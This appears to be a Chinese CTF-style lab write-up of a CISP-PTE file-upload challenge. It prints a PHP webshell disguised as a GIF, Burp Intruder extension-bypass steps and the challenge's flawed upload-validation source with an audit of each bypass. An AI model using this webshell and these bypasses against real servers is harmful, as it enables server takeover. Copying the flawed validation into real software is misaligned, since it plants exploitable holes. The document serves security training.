目录
[(1)GIF89a - 文件头欺骗](#(1)GIF89a - 文件头欺骗)
[(1)step1 扩展名验证 - 成功绕过](#(1)step1 扩展名验证 - 成功绕过)
[(2)step2 MIME类型验证 - 成功绕过](#(2)step2 MIME类型验证 - 成功绕过)
[(3)step3 内容检测 - 成功绕过](#(3)step3 内容检测 - 成功绕过)
[(4)step4 文件头验证 - 成功绕过](#(4)step4 文件头验证 - 成功绕过)
本文演示了CISP-PTE靶场文件上传突破关卡的渗透测试过程,通过构建伪装成GIF的PHP木马(GIF89a文件头+大写EVAL函数),配合BurpSuite修改MIME类型和尝试多种PHP变体后缀(php3/phtml等),成功绕过四重防护:扩展名黑名单、MIME验证、内容检测和文件头检查。最终利用蚁剑连接获取服务器权限,在/var/www/html/key.php中找到flag。源码审计发现关键在于judge()函数未调用step1扩展名验证,且各检测环节存在可绕过缺陷,如MIME依赖客户端可控数据、内容检测仅匹配小写"eval"等。本文完整呈现了代码审计到渗透利用的完整攻防链路。
一、渗透实战
1、打开靶场
打开靶场URL链接,页面如下所示,提示"文件上传是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。尝试获取webshell,答案就在根目录下key.php文件中。"

2、开始答题
点击开始答题,如下所示进入了文件上传的真实页面,具体如下所示。

3、构建脚本
新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这段GIF89a文件头后嵌入PHP代码的文本,是一个伪装成GIF图片的WebShell后门。它利用图片文件头"GIF89a"绕过安全检查,当服务器被配置为将.gif文件解析为PHP时(如通过.htaccess设置),该文件就会被执行。其中的EVAL($_POST['ljn'])函数允许攻击者通过POST请求执行任意PHP代码,从而完全控制服务器,构成严重的安全威胁。
GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>
(1)GIF89a - 文件头欺骗
-
这是一个GIF图片的文件头标识,GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是
47 49 46 38 39 61,对应 ASCII 字符就是GIF89a。右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。 -
目的是让服务器将PHP文件误判为图片文件,绕过安全检查

(2)PHP代码部分
echo "mooyuan";
@EVAL($_POST['ljn']);
核心后门功能 :包含PHP代码@EVAL($_POST['ljn']),该代码会执行通过POST参数ljn传递的任何PHP指令,为攻击者提供远程服务器控制权限。PHP 函数名不区分大小写,所以 EVAL() 和 eval() 是同一个函数。这里使用大写是为了绕过基于字符串匹配的简单内容检测 (因为检测代码可能只查找小写的 "eval")
隐蔽输出 :echo "mooyuan"用于在访问时显示正常内容以掩盖恶意行为,同时@符号用于抑制错误信息输出避免暴露。
4、直接上传php后缀脚本
开启bp,同时浏览器代理指向bp,选择mooyuan.php文件并点击上传,如下所示。

观察页面变化,如下所示提示图片上传失败,服务器应该是有对php后缀的脚本进行过滤。

5、bp抓包
使用burpsuite进行抓包,并将报文发送到intruder,具体如下所示。

发送到intruder后,首先点击clear将position的数量变为0,具体如下所示。

6、修改报文的MIME
将MIME字段改为image/gif,具体如下所示。

7、配置intruder
(1)配置position
对上传的文件名mooyuan.php的后缀php选中并点击add,效果如下所示,添加完毕后左下角的payload数量变为1。


(2)配置payload
构造php后缀的绕过字典,包括如php3、php4、phtml、以及大小写绕过的pHP、PHP、Php、pHp等等,对第一个payload使用这个字典进行配置,具体如下所示。

8、开启攻击
(1)攻击
配置完intruder后点击start attack开启攻击,具体如下所示。

攻击结果如下所示,response出现多个不同长度。

(2)分析
点击response-render,具体如下所示,发现多个后缀替换均成功绕过,其中报错php4、php3、php5、phtml等。





9、分析上传路径
以mooyuan3.php为例,找到response的pretty内容,分析其路径,如下所示说明mooyuan3.php被传到网站的根目录下/mooyuan.php3,故而URL如下所示。
http://8fe110c0.clsadp.com/mooyuan.php3

10、Hackbar连接
对于上传成功的脚本使用浏览器连接,通关hackbar进行post参数渗透,如下所示渗透成功。
http://8fe110c0.clsadp.com/mooyuan3.php
ljn=phpinfo();

http://8fe110c0.clsadp.com/mooyuan4.php
ljn=phpinfo();

http://8fe110c0.clsadp.com/mooyuan5.php
ljn=phpinfo();

http://8fe110c0.clsadp.com/mooyuan.phtml
ljn=phpinfo();

http://8fe110c0.clsadp.com/mooyuan.php
ljn=phpinfo();

11、连接蚁剑工具
http://8fe110c0.clsadp.com/mooyuan.php
密码ljn

12、查找flag
连接蚁剑工具成功后,右键文件管理进入文件系统,具体如下所示。

进入到文件上传upload的目录/var/www/html/,如下所示都是我们上传成功的多个木马文件,同时我们还发现了key.php,如下所示。。

打开key.php(/var/www/html/key.php),如下所示找到了本关卡的flag,至此完成本关卡的渗透测试。

二、源码分析
1、index.php
既然我们已经拿到了本关卡的权限,我们查看一下源码/var/www/html/start/index.php,具体如下所示。

完整的源码内容如下所示,这是一个具有安全风险的文件上传页面,通过judge函数验证用户上传的文件后将其保存到服务器指定路径,并提供了文件查看链接。
<?php error_reporting(0); ?>
<?php include("function.php"); ?>
<html>
<head>
<title></title>
<link rel="stylesheet" href="../css/bootstrap.css">
<link rel="stylesheet" href="../css/nav.css">
<meta charset="UTF-8">
</head>
<body>
<?php include '../header.php';?>
<div class="container mt-5 min-height main-body">
<div class="row">
<div class="col-7 m-auto">
<div class="card-content white-text">
<?php
$files = @$_FILES["files"];
if (judge($files))
{
$fullpath = '/' . $files["name"];
if (move_uploaded_file($files['tmp_name'], $_SERVER["DOCUMENT_ROOT"] . $fullpath)) {
echo "<a href='$fullpath'>图片上传成功</a>";
}
}
elseif (!(judge($files))&&!empty($files)) {
$fullpath = '';
echo "图片上传失败!";
}
echo '<form method=POST enctype="multipart/form-data" action="">
<input type="file" name="files">
<input type=submit value="上传" class="btn btn-warning"></form>';
?>
</div>
<div class="card-action">
<?php if($fullpath!= '') { echo "文件有效,上传成功: <a href=\"$fullpath\"> 点我查看</a>"; } ?>
</div>
</div>
</div>
</div>
<?php include '../footer.php';?>
</body>
</html>
2、function.php
接下来我们查看一下源码/var/www/html/start/function.php,查看下judge函数到底是如何进行过滤的,如下所示。

完整的源码如下所示,共使用了黑名单检测、MIME检测、eval检查以及文件头检查四种方法,不过实际上并没有使用如注释一样使用大小写绕过的方法。
<?php
//黑名单验证,大小写绕过
function step1($files)
{
$filename = $files["name"];
$ext = substr($filename,strripos($filename,'.') + 1);
if ($ext != "php")
{
return true;
}
return false;
}
//验证MIME头,修改数据包绕过
function step2($files)
{
if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" )
{
return true;
}
return false;
}
//验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写
function step3($files)
{
$content = file_get_contents($files["tmp_name"]);
if (strpos($content, "eval") === false && strpos($content, "assert") === false )
{
return true;
}
return false;
}
//验证文件头
function step4($files)
{
$png_header = "89504e47";
$jpg_header = "ffd8FFE0";
$gif_header = "47494638";
$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 ));
if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0)
{
return true;
}
return false;
}
function judge($files)
{
if (step2($files) && step3($files) && step4($files))
{
return true;
}
return false;
}
?>
3、代码审计
完整的经过注释后的代码如下所示,这是一个存在多处安全风险的文件上传验证系统。它包含四个验证函数:step1通过黑名单检查扩展名但存在大小写绕过风险且未被实际调用;step2验证MIME类型但可被数据包伪造绕过;step3检测文件内容中的"eval"和"assert"函数但可通过编码方式绕过;step4验证文件头相对可靠但配合其他安全风险仍可能被利用。核心问题在于judge函数未调用step1扩展名验证,且整体采用黑名单机制,加上关键验证依赖客户端可控数据,导致攻击者可通过大小写变换、数据包篡改、内容编码等多种方式成功上传恶意文件。
- step1- 大小写绕过 (未被调用) :扩展名验证只检查小写"php",可通过.PHP、.Php等绕过。但是在
judge()函数中缺少对step1()的调用,完全跳过了扩展名验证,如下所示我们在报文处理中,即便不修改后缀,也能上传成功。

-
step2 - MIME伪造:依赖客户端可修改的Content-Type字段,可被Burp Suite等工具轻易绕过
-
step3 - 内容检测绕过:
-
可使用
$_POST['a']($_POST['b'])动态调用 -
可使用编码、加密、字符串拼接等方式隐藏敏感词
-
可使用其他危险函数如
system()、exec()、passthru()等
-
-
step4 - 文件头验证:
-
相对安全,但攻击者可以在真实图片中插入恶意代码(图片马)
-
配合文件包含可能执行恶意代码
<?php // 黑名单验证,通过检查文件扩展名来阻止PHP文件上传 // 存在绕过风险:可以使用大小写绕过,如.Php、.PHP等 function step1($files) { $filename = $files["name"]; // 获取上传文件的原始名称 $ext = substr($filename,strripos($filename,'.') + 1); // 提取文件扩展名(从最后一个点号后开始) // 黑名单验证:只检查扩展名是否为"php"(小写) // 风险点:没有将扩展名转为小写统一比较,可以通过.PHP、.Php等绕过 if ($ext != "php") { return true; // 扩展名不是"php"则通过验证 } return false; // 扩展名是"php"则验证失败 }// 验证MIME类型,通过检查$_FILES['file']['type']来验证 // 存在绕过风险点:可以通过修改HTTP请求数据包中的Content-Type字段来伪造MIME类型 function step2($files) { // 检查MIME类型是否为图片类型 // 风险点:MIME类型来自客户端提交的数据,可以被轻易篡改 if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" ) { return true; // MIME类型符合要求则通过验证 } return false; // MIME类型不符合要求则验证失败 } // 验证文件内容,检查是否包含危险函数名 // 存在绕过风险点:可以使用其他函数或编码方式绕过 function step3($files) { // 读取上传文件的临时存储路径的内容 $content = file_get_contents($files["tmp_name"]); // 检查文件内容中是否包含"eval"或"assert"字符串 // 使用严格比较=== false来判断是否不存在 // 风险点:可以通过字符串拼接、编码、注释等方式绕过 if (strpos($content, "eval") === false && strpos($content, "assert") === false ) { return true; // 不包含危险函数名则通过验证 } return false; // 包含危险函数名则验证失败 } // 验证文件头(魔术数字),通过检查文件的前几个字节来识别真实文件类型 // 相对安全的验证方式,但仍有绕过可能 function step4($files) { // 定义常见图片格式的文件头(十六进制) $png_header = "89504e47"; // PNG文件头 $jpg_header = "ffd8FFE0"; // JPEG文件头(注意大小写混合) $gif_header = "47494638"; // GIF文件头 // 读取上传文件的前4个字节并转换为十六进制字符串 // file_get_contents参数:文件名,偏移量0,上下文NULL,开始位置0,长度4 $header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); // 使用不区分大小写的字符串比较,检查文件头是否符合图片格式 // strcasecmp()在相等时返回0 if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) { return true; // 文件头符合图片格式则通过验证 } return false; // 文件头不符合图片格式则验证失败 } // 主验证函数,综合调用各个验证步骤 function judge($files) { // 注意:step1函数在此judge函数中未被调用,这是一个逻辑风险问题 // 只验证了step2、step3、step4,缺少文件扩展名验证 if (step2($files) && step3($files) && step4($files)) { return true; // 所有验证都通过 } return false; // 任一验证失败 }?>
-
4、绕过分析
接下来分析为何如下报文可以绕过服务器的文件上传检测,报文内容如下所示。
Content-Disposition: form-data; name="files"; filename="mooyuan.php3"
Content-Type: image/gif
GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>
我们通过修改扩展名、伪造MIME类型、大小写变异危险函数、添加合法文件头的组合方式,成功绕过了所有四层防护,最终将PHP木马伪造成GIF图片上传到服务器。
(1)step1 扩展名验证 - 成功绕过
filename="mooyuan.php3" # 使用.php3扩展名
-
原因 :
step1函数只检查扩展名是否不等于"php" -
.php3扩展名不等于"php",因此通过验证 -
在很多服务器配置中,
.php3、.php4、.php5、.phtml等扩展名也会被当作PHP文件执行
(2)step2 MIME类型验证 - 成功绕过
Content-Type: image/gif # 伪造的MIME类型
- 原因 :与之前相同,
step2函数只检查$_FILES['type'],可以被伪造为image/gif
(3)step3 内容检测 - 成功绕过
@EVAL($_POST['ljn']); # 使用大写EVAL绕过检测
-
原因 :
step3使用strpos($content, "eval")只查找小写的 "eval" -
大写的 "EVAL" 不会被匹配到,因此检测通过
(4)step4 文件头验证 - 成功绕过
GIF89a
<?php...
-
原因 :文件开头是合法的GIF文件头
GIF89a(十六进制:474946383961) -
step4函数只检查前4个字节GIF8,正好匹配GIF文件头标准
实际上,在提供的代码中 step1 函数根本没有在 judge() 中被调用 ,所以即使扩展名是 .php 也能绕过。但使用 .php3 提供了双重保险:
-
如果
step1被调用 :.php3能通过黑名单检查 -
如果
step1未被调用:任何扩展名都能直接绕过
5、与文件上传5关卡区别
两段代码的核心区别在于judge函数中的验证逻辑:源码1缺少对step1扩展名验证函数的调用,仅验证step2、step3和step4,这导致攻击者可直接上传.php文件成功绕过所有防护;而源码2修复了这一逻辑风险问题,在judge中完整调用了step1至step4所有验证函数,确保扩展名检查生效,阻止了直接上传.php文件的攻击方式,但两者仍共享相同的黑名单设计缺陷,无法防御通过.php3等替代扩展名的绕过攻击。
| 对比项 | 源码1 | 源码2 |
|---|---|---|
| judge()函数逻辑 | step2 && step3 && step4 |
step1 && step2 && step3 && step4 |
| step1调用 | ❌ 未被调用 | ✅ 被调用 |
| 安全等级 | 低(存在逻辑风险问题) | 相对较高 |